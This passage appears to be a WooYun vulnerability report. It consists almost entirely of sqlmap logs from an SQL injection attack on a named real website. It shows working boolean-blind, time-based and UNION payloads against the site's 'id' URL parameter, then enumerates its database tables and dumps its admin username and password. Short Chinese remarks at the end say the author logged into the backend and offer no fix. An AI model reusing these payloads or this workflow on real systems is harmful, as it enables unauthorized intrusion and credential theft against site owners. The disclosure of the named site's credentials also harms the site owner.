[16:28:03] [INFO] retrieved: t_fashion
[16:28:03] [INFO] retrieved: t_feedback
[16:28:04] [INFO] retrieved: t_focusfigure
[16:28:04] [INFO] retrieved: t_global
[16:28:05] [INFO] retrieved: t_goodnews
[16:28:05] [INFO] retrieved: t_goodzzyjs
[16:28:06] [INFO] retrieved: t_gradnews
[16:28:06] [INFO] retrieved: t_gradnewstype
[16:28:07] [INFO] retrieved: t_guide_xl
[16:28:07] [INFO] retrieved: t_guide_zzyjs
[16:28:07] [INFO] retrieved: t_images
[16:28:08] [INFO] retrieved: t_jobs
[16:28:08] [INFO] retrieved: t_join_news
[16:28:39] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is
going to retry the request
[16:28:40] [INFO] retrieved: t_joins
[16:28:40] [INFO] retrieved: t_language
[16:28:41] [INFO] retrieved: t_map
[16:28:41] [INFO] retrieved: t_message
[16:28:42] [INFO] retrieved: t_miennews
[16:28:42] [INFO] retrieved: t_miennewstype
[16:28:43] [INFO] retrieved: t_news
[16:28:43] [INFO] retrieved: t_newstype
[16:28:44] [INFO] retrieved: t_order
[16:28:44] [INFO] retrieved: t_orderdetail
[16:28:44] [INFO] retrieved: t_outlets
[16:28:45] [INFO] retrieved: t_pic
[16:28:45] [INFO] retrieved: t_pictype
[16:28:46] [INFO] retrieved: t_plugin
[16:28:46] [INFO] retrieved: t_post
[16:28:47] [INFO] retrieved: t_problem
[16:28:47] [INFO] retrieved: t_problemtype
[16:28:48] [INFO] retrieved: t_problemzzyjs
[16:28:48] [INFO] retrieved: t_problemzzyjstype
[16:28:48] [INFO] retrieved: t_process
[16:28:49] [INFO] retrieved: t_products
[16:28:49] [INFO] retrieved: t_protype
[16:28:50] [INFO] retrieved: t_resume
[16:28:50] [INFO] retrieved: t_role
[16:28:50] [INFO] retrieved: t_schoolxl
[16:28:51] [INFO] retrieved: t_schoolzzyjs
[16:28:51] [INFO] retrieved: t_storeimage
[16:28:51] [INFO] retrieved: t_team
[16:28:51] [INFO] retrieved: t_train
Database: aopengx
[53 tables]
+--------------------+
| t_admin |
| t_bulk |
| t_bulktype |
| t_city |
| t_content |
| t_custnews |
| t_download |
| t_downtype |
| t_edunews |
| t_edunewstype |
| t_elegantimage |
| t_fashion |
| t_feedback |
| t_focusfigure |
| t_global |
| t_goodnews |
| t_goodzzyjs |
| t_gradnews |
| t_gradnewstype |
| t_guide_xl |
| t_guide_zzyjs |
| t_images |
| t_jobs |
| t_join_news |
| t_joins |
| t_language |
| t_map |
| t_message |
| t_miennews |
| t_miennewstype |
| t_news |
| t_newstype |
| t_order |
| t_orderdetail |
| t_outlets |
| t_pic |
| t_pictype |
| t_plugin |
| t_post |
| t_problem |
| t_problemtype |
| t_problemzzyjs |
| t_problemzzyjstype |
| t_process |
| t_products |
| t_protype |
| t_resume |
| t_role |
| t_schoolxl |
| t_schoolzzyjs |
| t_storeimage |
| t_team |
| t_train |
+--------------------+
[16:28:51] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:28:51
C:\Python27\sqlmap>sqlmap.py -u http://www.nbopen.com.cn/index.php?s=/Train/view
s/id/6* --columns -T t_admin -D aopengx
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150901}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:33:28
custom injection marking character ('*') found in option '-u'. Do you want to pr
ocess it? [Y/n/q]
[16:33:29] [INFO] resuming back-end DBMS 'mysql'
[16:33:29] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 595
4=5954 AND ('UNQt'='UNQt
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SE
LECT * FROM (SELECT(SLEEP(5)))iwiC) AND ('wdAH'='wdAH
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-8094') UNI
ON ALL SELECT NULL,NULL,NULL,CONCAT(0x71626a7071,0x676c5277596e4b6e5843,0x716a71
7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
---
[16:33:30] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:33:30] [INFO] fetching columns for table 't_admin' in database 'aopengx'
[16:33:30] [INFO] the SQL query used returns 7 entries
[16:33:31] [INFO] retrieved: "id","int(11)"
[16:33:31] [INFO] retrieved: "UserName","varchar(255)"
[16:33:31] [INFO] retrieved: "PassWord","varchar(510)"
[16:33:31] [INFO] retrieved: "UserRoleID","int(11)"
[16:33:32] [INFO] retrieved: "OrderDesc","int(11)"
[16:33:32] [INFO] retrieved: "RealName","varchar(255)"
[16:33:32] [INFO] retrieved: "IsLock","tinyint(3)"
Database: aopengx
Table: t_admin
[7 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| id | int(11) |
| IsLock | tinyint(3) |
| OrderDesc | int(11) |
| PassWord | varchar(510) |
| RealName | varchar(255) |
| UserName | varchar(255) |
| UserRoleID | int(11) |
+------------+--------------+
[16:33:32] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.nbopen.com.cn'
[*] shutting down at 16:33:32
C:\Python27\sqlmap>
root@kailroot:~# sqlmap -u http://www.nbopen.com.cn/index.php?s=/Train/views/id/6* --dump -T t_admin -C "UserName,PassWord" -D aopengx
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20151024}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 16:40:04
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[16:40:06] [INFO] testing connection to the target URL
[16:40:06] [INFO] testing if the target URL is stable
[16:40:07] [INFO] target URL is stable
[16:40:07] [INFO] testing if URI parameter '#1*' is dynamic
[16:40:07] [INFO] confirming that URI parameter '#1*' is dynamic
[16:40:08] [INFO] URI parameter '#1*' is dynamic
[16:40:08] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[16:40:08] [INFO] testing for SQL injection on URI parameter '#1*'
[16:40:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:40:10] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[16:40:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause'
[16:40:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[16:40:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[16:40:11] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[16:40:14] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace'
[16:40:14] [INFO] testing 'MySQL inline queries'
[16:40:15] [INFO] testing 'PostgreSQL inline queries'
[16:40:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[16:40:15] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)'
[16:40:15] [WARNING] time-based comparison requires larger statistical model, please wait...........
[16:40:18] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[16:40:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[16:40:18] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[16:40:18] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[16:40:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)'
[16:40:49] [INFO] URI parameter '#1*' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[16:40:55] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:40:55] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:40:55] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:40:57] [INFO] target URL appears to have 15 columns in query
[16:41:01] [INFO] URI parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 55 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND 2070=2070 AND ('oyvm'='oyvm
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/6') AND (SELECT * FROM (SELECT(SLEEP(5)))wzmd) AND ('GSvY'='GSvY
Type: UNION query
Title: Generic UNION query (NULL) - 15 columns
Payload: http://www.nbopen.com.cn:80/index.php?s=/Train/views/id/-2709') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a716271,0x7674436b625063665543,0x716b6a7071),NULL,NULL--
---
[16:41:04] [INFO] the back-end DBMS is MySQL
web application technology: Nginx
back-end DBMS: MySQL 5.0.12
[16:41:04] [INFO] fetching columns 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[16:41:05] [WARNING] unable to retrieve column names for table 't_admin' in database 'aopengx'
[16:41:05] [INFO] fetching entries of column(s) 'PassWord, UserName' for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] the SQL query provided does not return any output
[16:41:05] [INFO] fetching number of column(s) 'PassWord, UserName' entries for table 't_admin' in database 'aopengx'
[16:41:05] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[16:41:05] [INFO] retrieved: 1
[16:41:06] [INFO] retrieved: 123456
[16:41:19] [INFO] retrieved: 123456
[16:41:32] [INFO] analyzing table dump for possible password hashes
Database: aopengx
Table: t_admin
[1 entry]
+----------+----------+
| UserName | PassWord |
+----------+----------+
| 123456 | 123456 |
+----------+----------+
[16:41:32] [INFO] table 'aopengx.t_admin' dumped to CSV file '/root/.sqlmap/output/www.nbopen.com.cn/dump/aopengx/t_admin.csv'
[16:41:32] [INFO] fetched data logged to text files under '/root/.sqlmap/output/www.nbopen.com.cn'
[*] shutting down at 16:41:32
root@kailroot:~#


XIB8R]S8P_0TH8ZL](%{{TC.png


有图可知账户密码为123456
进入后台看下

Z}D1%%V]%G~7MF66TD@H@4F.png

U9A6NM4YW)0M{GVPV](6X7N.png

修复方案

I Don't Know ?

状态信息 2015-11-27: 细节已通知厂商并且等待厂商处理中
2015-12-02: 厂商已经主动忽略漏洞,细节向公众公开
厂商回复None漏洞Rank:4 (WooYun评价)
回应信息危害等级:无影响厂商忽略忽略时间:2015-12-02 17:24